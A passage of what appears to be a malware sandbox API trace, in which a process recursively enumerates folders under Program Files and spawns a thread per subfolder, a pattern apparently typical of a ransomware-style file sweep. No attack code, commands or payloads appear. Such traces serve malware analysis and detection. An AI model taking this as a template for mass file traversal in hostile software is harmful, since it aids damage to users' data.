OLEDB\\10\\Resources" [0049.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x416f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0049.046] FindNextFileW (in: hFindFile=0x4408a0, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0049.046] FindClose (in: hFindFile=0x4408a0 | out: hFindFile=0x4408a0) returned 1 [0049.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459560) returned 1 [0049.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400518) returned 1 [0049.047] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3fff18) returned 1 Thread: id = 224 os_tid = 0x908 [0046.741] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446f68 [0046.742] wcscpy (in: _Dest=0x446f68, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0046.742] wcscat (in: _Dest=0x446f68, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\" [0046.742] wcscat (in: _Dest=0x446f68, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*" [0046.742] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4597c8 [0046.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440960 [0047.107] wcscmp (_String1=".", _String2=".") returned 0 [0047.107] FindNextFileW (in: hFindFile=0x440960, lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.107] wcscmp (_String1="..", _String2=".") returned 1 [0047.108] wcscmp (_String1="..", _String2="..") returned 0 [0047.108] FindNextFileW (in: hFindFile=0x440960, lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0047.108] wcscmp (_String1="1033", _String2=".") returned 1 [0047.108] wcscmp (_String1="1033", _String2="..") returned 1 [0047.108] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4169c0 [0047.108] wcscpy (in: _Dest=0x4169c0, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" [0047.108] wcscat (in: _Dest=0x4169c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\" [0047.108] wcscat (in: _Dest=0x4169c0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0048.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4169c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0048.899] FindNextFileW (in: hFindFile=0x440960, lpFindFileData=0x4597c8 | out: lpFindFileData=0x4597c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0048.899] FindClose (in: hFindFile=0x440960 | out: hFindFile=0x440960) returned 1 [0048.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4597c8) returned 1 [0048.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446f68) returned 1 [0048.899] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446660) returned 1 Thread: id = 225 os_tid = 0x904 [0046.750] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400598 [0046.750] wcscpy (in: _Dest=0x400598, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0046.750] wcscat (in: _Dest=0x400598, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\" [0046.750] wcscat (in: _Dest=0x400598, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*" [0046.750] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459a30 [0046.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440920 [0047.107] wcscmp (_String1=".", _String2=".") returned 0 [0047.107] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.107] wcscmp (_String1="..", _String2=".") returned 1 [0047.107] wcscmp (_String1="..", _String2="..") returned 0 [0047.107] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0047.107] wcscmp (_String1="x64", _String2=".") returned 1 [0047.107] wcscmp (_String1="x64", _String2="..") returned 1 [0047.107] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400b98 [0047.107] wcscpy (in: _Dest=0x400b98, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" [0047.107] wcscat (in: _Dest=0x400b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\" [0047.107] wcscat (in: _Dest=0x400b98, _Source="x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0049.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0049.048] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x459a30 | out: lpFindFileData=0x459a30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0049.048] FindClose (in: hFindFile=0x440920 | out: hFindFile=0x440920) returned 1 [0049.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459a30) returned 1 [0049.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400598) returned 1 [0049.049] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 Thread: id = 226 os_tid = 0x900 [0046.752] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x416810 [0046.752] wcscpy (in: _Dest=0x416810, _Source="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" [0046.752] wcscat (in: _Dest=0x416810, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\" [0046.752] wcscat (in: _Dest=0x416810, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*" [0046.752] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459c98 [0046.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403a0 [0048.518] wcscmp (_String1=".", _String2=".") returned 0 [0048.518] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.518] wcscmp (_String1="..", _String2=".") returned 1 [0048.518] wcscmp (_String1="..", _String2="..") returned 0 [0048.518] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0048.518] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2=".") returned 1 [0048.518] wcscmp (_String1="Microsoft.Synchronization.Data.dll", _String2="..") returned 1 [0048.518] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0048.519] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2=".") returned 1 [0048.519] wcscmp (_String1="Microsoft.Synchronization.Data.Server.dll", _String2="..") returned 1 [0048.519] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0048.519] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2=".") returned 1 [0048.519] wcscmp (_String1="Microsoft.Synchronization.Data.SqlServerCe.dll", _String2="..") returned 1 [0048.519] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0048.519] FindClose (in: hFindFile=0x4403a0 | out: hFindFile=0x4403a0) returned 1 [0048.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459c98) returned 1 [0048.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416810) returned 1 [0048.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4165d0) returned 1 Thread: id = 227 os_tid = 0x8dc [0046.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400618 [0046.754] wcscpy (in: _Dest=0x400618, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0046.754] wcscat (in: _Dest=0x400618, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0046.754] wcscat (in: _Dest=0x400618, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*" [0046.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459f00 [0046.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403e0 [0046.754] wcscmp (_String1=".", _String2=".") returned 0 [0046.754] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.754] wcscmp (_String1="..", _String2=".") returned 1 [0046.754] wcscmp (_String1="..", _String2="..") returned 0 [0046.754] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0046.754] wcscmp (_String1="v3.0", _String2=".") returned 1 [0046.754] wcscmp (_String1="v3.0", _String2="..") returned 1 [0046.754] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447078 [0046.754] wcscpy (in: _Dest=0x447078, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0046.754] wcscat (in: _Dest=0x447078, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0046.754] wcscat (in: _Dest=0x447078, _Source="v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0048.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0048.389] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0048.389] wcscmp (_String1="v3.5", _String2=".") returned 1 [0048.389] wcscmp (_String1="v3.5", _String2="..") returned 1 [0048.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4465d8 [0048.389] wcscpy (in: _Dest=0x4465d8, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" [0048.389] wcscat (in: _Dest=0x4465d8, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\" [0048.389] wcscat (in: _Dest=0x4465d8, _Source="v3.5" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0048.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4465d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0048.390] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0048.391] FindClose (in: hFindFile=0x4403e0 | out: hFindFile=0x4403e0) returned 1 [0048.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459f00) returned 1 [0048.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400618) returned 1 [0048.391] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffd18) returned 1 Thread: id = 228 os_tid = 0x934 [0046.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4212d8 [0046.765] wcscpy (in: _Dest=0x4212d8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0046.765] wcscat (in: _Dest=0x4212d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0046.765] wcscat (in: _Dest=0x4212d8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*" [0046.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424ab0 [0046.765] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409a0 [0047.111] wcscmp (_String1=".", _String2=".") returned 0 [0047.111] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.111] wcscmp (_String1="..", _String2=".") returned 1 [0047.111] wcscmp (_String1="..", _String2="..") returned 0 [0047.111] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActiveX", cAlternateFileName="")) returned 1 [0047.111] wcscmp (_String1="ActiveX", _String2=".") returned 1 [0047.111] wcscmp (_String1="ActiveX", _String2="..") returned 1 [0047.111] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400c18 [0047.111] wcscpy (in: _Dest=0x400c18, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0047.111] wcscat (in: _Dest=0x400c18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\" [0047.111] wcscat (in: _Dest=0x400c18, _Source="ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0048.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400c18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240 [0048.703] FindNextFileW (in: hFindFile=0x4409a0, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, 